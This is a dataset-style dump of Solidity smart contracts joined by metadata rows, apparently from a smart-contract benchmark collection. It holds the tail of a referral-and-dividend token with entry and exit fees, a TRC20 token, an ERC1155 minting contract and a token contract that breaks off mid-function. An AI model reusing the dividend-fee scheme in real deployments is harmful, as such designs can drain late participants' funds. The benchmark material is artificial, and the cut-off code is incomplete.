uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address (this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 223,398 | 686 |
7e92f8b0ca34f2922b1608a7ce534468ec9a6d24828d961d9572542ccc31f87e
| 21,206 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TDgYkWtQPcWDq3KYKjrSjQs6aMkVVa54aV_BPK.sol
| 2,883 | 10,967 |
//SourceUnit: BPK_Token.sol
pragma solidity ^0.5.0;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Owned is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract TRC20 is Context, ITRC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TRC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "TRC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "TRC20: transfer from the zero address");
require(recipient != address(0), "TRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "TRC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "TRC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "TRC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "TRC20: burn amount exceeds allowance"));
}
}
contract TRC20Burnable is Context, TRC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract TRC20Mintable is TRC20, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract TRC20Capped is TRC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "TRC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "TRC20Capped: cap exceeded");
super._mint(account, value);
}
}
contract TRC20Detailed is ITRC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract BPK is TRC20Detailed, TRC20Capped, TRC20Burnable, Owned{
constructor () public
TRC20Detailed("BitPayKing", "BPK", 6)
TRC20Capped(50000000*(10**6)){
}
function transferFund(address TRC20token,uint256 amount,address receiver) onlyOwner public {
uint256 balance = ITRC20(TRC20token).balanceOf(address(this));
require(amount<=balance,'exceed contract balance');
ITRC20(TRC20token).transfer(receiver, amount);
}
function transferFundTRX(uint256 amount,address payable receiver) onlyOwner public {
uint256 balance = address(this).balance;
require(amount<=balance,'exceed contract balance');
receiver.transfer(amount);
}
}
| 297,507 | 687 |
868a4cecc82d06312fd5aaed42b7921f1d7953d6afcb7de58d54071b68d0e6c9
| 10,949 |
.sol
|
Solidity
| false |
620735982
|
XYBA-GAME-STUDIO/XYBA-Party-Contracts
|
c108a0cb0a36d63830ef6d50a9e3d55add603277
|
contracts/XYBAAccessory.sol
| 2,693 | 10,762 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// @author: XYBA PARTY DEV
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
contract XYBAAccessory is
ERC1155,
ERC1155Holder,
Ownable,
Pausable,
ERC1155Supply,
ReentrancyGuard
{
using SafeMath for uint256;
using Math for uint256;
using Strings for uint256;
using Counters for Counters.Counter;
/// base token uri
string public baseUri;
/// source contract address
address public sourceContractAddress;
/// accessory type
mapping(uint256 => uint256) public accessoryTypes;
/// token id => max mint supply
mapping(uint256 => uint256) public maxAddressMintSupply;
/// address used to verify sign
address private _signerAddress;
/// token id => minted supply
mapping(uint256 => uint256) private _tokenMintedSupply;
/// Initial Smart Contract
/// @param _uri base URI of all tokens
/// @param signerAddress the admin address to verify signature
constructor(string memory _uri,
address signerAddress)
ERC1155(_uri) {
baseUri = _uri;
_signerAddress = signerAddress;
}
// ======================================================== Owner Functions
/// Set the base URI of tokens
/// @param _uri new base URI
function setURI(string memory _uri) public onlyOwner {
_setURI(_uri);
baseUri = _uri;
}
/// Set the pause status
/// @param isPaused pause or not
function setPaused(bool isPaused) public onlyOwner {
isPaused ? _pause() : _unpause();
}
/// Set the source contract address to transfer to self
/// @param _sourceContractAddress source contract address
function setSourceContractAddress(address _sourceContractAddress) public onlyOwner {
sourceContractAddress = _sourceContractAddress;
}
/// Set max mint supply of each token
/// @param ids token ids
/// @param maxSupplies max mint supply of each token
function setMaxAddressMintSupply(uint256[] memory ids, uint256[] memory maxSupplies) public onlyOwner {
require(ids.length == maxSupplies.length, "Ids and maxSupplies length mismatch.");
for (uint256 i; i < ids.length; i++) {
maxAddressMintSupply[ids[i]] = maxSupplies[i];
}
}
/// Mint token to address for owner
/// @param to receiver address
/// @param id token id
/// @param amount token amount
/// @param _type token type
function ownerMint(address to, uint256 id, uint256 amount, uint256 _type) public onlyOwner whenNotPaused {
_mint(to, id, amount, new bytes(0));
if (accessoryTypes[id] != _type) {
accessoryTypes[id] = _type;
}
}
/// Batch Mint token to address for owner
/// @param to receiver address
/// @param ids token ids
/// @param amounts amounts of each token
/// @param types types of each token
function ownerMintBatch(address to, uint256[] memory ids, uint256[] memory amounts, uint256[] memory types) public onlyOwner whenNotPaused {
require(ids.length == types.length, "Ids and types length mismatch.");
_mintBatch(to, ids, amounts, new bytes(0));
for (uint256 i; i < types.length; i++) {
if (accessoryTypes[ids[i]] != types[i]) {
accessoryTypes[ids[i]] = types[i];
}
}
}
/// @notice Owner transfer tokens to user wallet address
/// @param to target wallet address
/// @param ids token ids
/// @param amounts token amounts
function ownerBatchTransfer(address to,
uint256[] memory ids,
uint256[] memory amounts) public onlyOwner whenNotPaused {
_safeBatchTransferFrom(address(this), to, ids, amounts, new bytes(0));
}
/// @notice Withdraw
/// @param amount the withdraw amount
function withdraw(uint256 amount) external onlyOwner {
uint256 balance = address(this).balance;
require(balance >= amount, "Not enough balance left to withdraw.");
payable(msg.sender).transfer(amount);
}
// ======================================================== External Functions
/// @notice Contract transfer tokens to user wallet address
/// @param from from wallet address
/// @param to target wallet address
/// @param ids token ids
/// @param amounts token amounts
function contractBatchTransfer(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts) external whenNotPaused {
require(msg.sender == sourceContractAddress, 'Message sender is not source contract.');
_safeBatchTransferFrom(from, to, ids, amounts, new bytes(0));
}
/// @notice Contract batch burn tokens
/// @param from from wallet address
/// @param ids token ids
/// @param amounts token amounts
function contractBatchBurn(address from,
uint256[] memory ids,
uint256[] memory amounts) external whenNotPaused {
require(msg.sender == sourceContractAddress, 'Message sender is not source contract.');
_burnBatch(from, ids, amounts);
}
/// Mint Token
/// @param signature signed by an admin address
/// @param id token id
/// @param amount token amount
/// @param _type token type
/// @param price mint price
/// @dev mints token
function mint(bytes memory signature, uint256 id, uint256 amount, uint256 _type, uint256 price) external payable whenNotPaused nonReentrant {
require(_canMint(id, amount), "Mint amount over limit.");
require(_isValidMintSignature(signature, id, amount, _type, price), "Signature is error.");
require(msg.value >= price, "Not enough balance left!");
_mint(msg.sender, id, amount, new bytes(0));
if (accessoryTypes[id] != _type) {
accessoryTypes[id] = _type;
}
unchecked {
_tokenMintedSupply[id] += amount;
}
}
/// Batch Mint Token
/// @param signature signed by an admin address
/// @param ids token ids
/// @param amounts amounts of each token
/// @param types types of each token
/// @param price mint price
/// @dev mints token
function mintBatch(bytes memory signature, uint256[] memory ids, uint256[] memory amounts, uint256[] memory types, uint256 price) external payable whenNotPaused nonReentrant {
require(_isValidMintBatchSignature(signature, ids, amounts, types, price), "Signature is error.");
require(ids.length == types.length, "Ids and types length mismatch.");
require(ids.length == amounts.length, "Ids and amounts length mismatch.");
require(msg.value >= price, "Not enough balance left!");
for (uint256 i; i < ids.length; i++) {
require(_canMint(ids[i], amounts[i]), "Mint amount over limit.");
}
_mintBatch(msg.sender, ids, amounts, new bytes(0));
unchecked {
for (uint256 i; i < types.length; i++) {
_tokenMintedSupply[ids[i]] += amounts[i];
if (accessoryTypes[ids[i]] != types[i]) {
accessoryTypes[ids[i]] = types[i];
}
}
}
}
/// Get accessory type with tokenId
function accessoryType(uint256 _tokenId) external view returns (uint256) {
return accessoryTypes[_tokenId];
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, ERC1155Receiver) returns (bool) {
return super.supportsInterface(interfaceId);
}
function uri(uint256 tokenId) public view virtual override returns (string memory) {
require(exists(tokenId), 'Token id is not exists.');
return string(abi.encodePacked(baseUri, tokenId.toString()));
}
// ======================================================== Internal Functions
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155, ERC1155Supply)
{
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
/// Verify Signature For Mint
/// @param signature signed by an admin address
/// @param id token id
/// @param amount token amount
/// @param _type token type
/// @param price mint price
/// @return if the signature is valid
function _isValidMintSignature(bytes memory signature, uint256 id, uint256 amount, uint256 _type, uint256 price) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("XYBA Accessory Token", msg.sender, id, amount, _type, price));
return _isValidHash(hash, signature);
}
/// Verify Signature For Mint Batch
/// @param signature signed by an admin address
/// @param ids token ids
/// @param amounts amounts of each token
/// @param types types of each token
/// @param price mint price
/// @return if the signature is valid
function _isValidMintBatchSignature(bytes memory signature, uint256[] memory ids, uint256[] memory amounts, uint256[] memory types, uint256 price) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("XYBA Accessory Token", msg.sender, ids, amounts, types, price));
return _isValidHash(hash, signature);
}
/// Verify Hash And Signature
/// @param signature signed by an admin address
/// @return if the signature is valid
function _isValidHash(bytes32 hash, bytes memory signature) internal view returns (bool) {
bytes32 message = ECDSA.toEthSignedMessageHash(hash);
address recoveredAddress = ECDSA.recover(message, signature);
return recoveredAddress != address(0) && recoveredAddress == _signerAddress;
}
/// Verify can mint amount of token
/// @param id token id
/// @param amount mint amount
function _canMint(uint256 id, uint256 amount) private view returns (bool) {
// no limit
if (maxAddressMintSupply[id] == 0) {
return true;
}
return _tokenMintedSupply[id] + amount <= maxAddressMintSupply[id];
}
}
| 3,780 | 688 |
04fa83f7e91d0d7101eb3cd7fde95dfab2922c4b4ccba46dc7f3d9be36a95c16
| 12,282 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x63c9fa54101e5c4609656ed09b483338432c3c94.sol
| 3,720 | 12,017 |
pragma solidity ^ 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) public constant returns(uint256);
function transfer(address _to, uint256 _value) public returns(bool);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool);
function approve(address _spender, uint256 _value) public returns(bool);
function allowance(address _owner, address _spender) public constant returns(uint256);
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract WbcToken is ERC20 {
using SafeMath for uint256;
string public name = "WhizBizCoin";
string public symbol = "WB";
uint256 public decimals = 18;
uint256 public totalSupply = 888000000 * 1e18;
uint256 public timeStamp = 0;
uint256 constant fundPartYear = 44400000 * 1e18;
uint256 constant trioPartYear = 8880000 * 1e18;
uint256 constant minimumAge = 30 days;
uint256 constant oneYear = 360 days;
uint256 public minted = 0;
address public teamCSN;
address public teamFilmCompany;
address public teamInvestors;
address public teamFund;
address public manager;
address public reserveFund;
struct transferStruct{
uint128 amount;
uint64 time;
}
mapping(uint8 => bool) trioChecker;
mapping(uint8 => bool) fundChecker;
mapping(uint256 => bool) priceChecker;
mapping(address => transferStruct[]) transferSt;
mapping(uint256 => uint256) coinPriceNow;
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyManager {
require(msg.sender == manager);
_;
}
constructor (address _owner, address _teamCSN, address _teamFilmCompany, address _teamInvestors, address _fund, address _manager, address _reserveFund) public {
owner = _owner;
teamCSN = _teamCSN;
teamFilmCompany = _teamFilmCompany;
teamInvestors = _teamInvestors;
teamFund = _fund;
manager = _manager;
reserveFund = _reserveFund;
}
function doTimeStamp(uint256 _value) external onlyOwner {
timeStamp = _value;
}
function mintTokens(address _investor, uint256 _value) external onlyOwner {
require(_value > 0);
require(minted.add(_value) <= totalSupply);
balances[_investor] = balances[_investor].add(_value);
minted = minted.add(_value);
transferSt[_investor].push(transferStruct(uint128(_value),uint64(now)));
emit Transfer(0x0, _investor, _value);
}
function mintTrio() external onlyManager {
require(now > (timeStamp + 360 days));
if(now > (timeStamp + 360 days) && now <= (timeStamp + 720 days)){
require(trioChecker[1] != true);
partingTrio(1);
}
if(now > (timeStamp + 720 days) && now <= (timeStamp + 1080 days)){
require(trioChecker[2] != true);
partingTrio(2);
}
if(now > (timeStamp + 1080 days) && now <= (timeStamp + 1440 days)){
require(trioChecker[3] != true);
partingTrio(3);
}
if(now > (timeStamp + 1440 days) && now <= (timeStamp + 1800 days)){
require(trioChecker[4] != true);
partingTrio(4);
}
if(now > (timeStamp + 1800 days) && now <= (timeStamp + 2160 days)){
require(trioChecker[5] != true);
partingTrio(5);
}
if(now > (timeStamp + 2160 days) && now <= (timeStamp + 2520 days)){
require(trioChecker[6] != true);
partingTrio(6);
}
}
function mintFund() external onlyManager {
require(now > (timeStamp + 360 days));
if(now > (timeStamp + 360 days) && now <= (timeStamp + 720 days)){
require(fundChecker[1] != true);
partingFund(1);
}
if(now > (timeStamp + 720 days) && now <= (timeStamp + 1080 days)){
require(fundChecker[2] != true);
partingFund(2);
}
if(now > (timeStamp + 1080 days) && now <= (timeStamp + 1440 days)){
require(fundChecker[3] != true);
partingFund(3);
}
if(now > (timeStamp + 1440 days) && now <= (timeStamp + 1800 days)){
require(fundChecker[4] != true);
partingFund(4);
}
if(now > (timeStamp + 1800 days) && now <= (timeStamp + 2160 days)){
require(fundChecker[5] != true);
partingFund(5);
}
if(now > (timeStamp + 2160 days) && now <= (timeStamp + 2520 days)){
require(fundChecker[6] != true);
partingFund(6);
}
if(now > (timeStamp + 2520 days) && now <= (timeStamp + 2880 days)){
require(fundChecker[7] != true);
partingFund(7);
}
}
function partingFund(uint8 _x) internal {
require(_x > 0 && _x <= 7);
balances[teamFund] = balances[teamFund].add(fundPartYear);
fundChecker[_x] = true;
minted = minted.add(fundPartYear);
transferSt[teamFund].push(transferStruct(uint128(fundPartYear),uint64(now)));
emit Transfer(0x0, teamFund, fundPartYear);
}
function partingTrio(uint8 _x) internal {
require(_x > 0 && _x <= 6);
balances[teamCSN] = balances[teamCSN].add(trioPartYear);
balances[teamFilmCompany] = balances[teamFilmCompany].add(trioPartYear);
balances[teamInvestors] = balances[teamInvestors].add(trioPartYear);
trioChecker[_x] = true;
minted = minted.add(trioPartYear.mul(3));
transferSt[teamCSN].push(transferStruct(uint128(trioPartYear),uint64(now)));
transferSt[teamFilmCompany].push(transferStruct(uint128(trioPartYear),uint64(now)));
transferSt[teamInvestors].push(transferStruct(uint128(trioPartYear),uint64(now)));
emit Transfer(0x0, teamCSN, trioPartYear);
emit Transfer(0x0, teamFilmCompany, trioPartYear);
emit Transfer(0x0, teamInvestors, trioPartYear);
}
function balanceOf(address _owner) public constant returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns(bool) {
if(msg.sender == _to) {return POSMint();}
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
if(transferSt[msg.sender].length > 0) {delete transferSt[msg.sender];}
uint64 _now = uint64(now);
transferSt[msg.sender].push(transferStruct(uint128(balances[msg.sender]),_now));
transferSt[_to].push(transferStruct(uint128(_amount),_now));
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns(bool) {
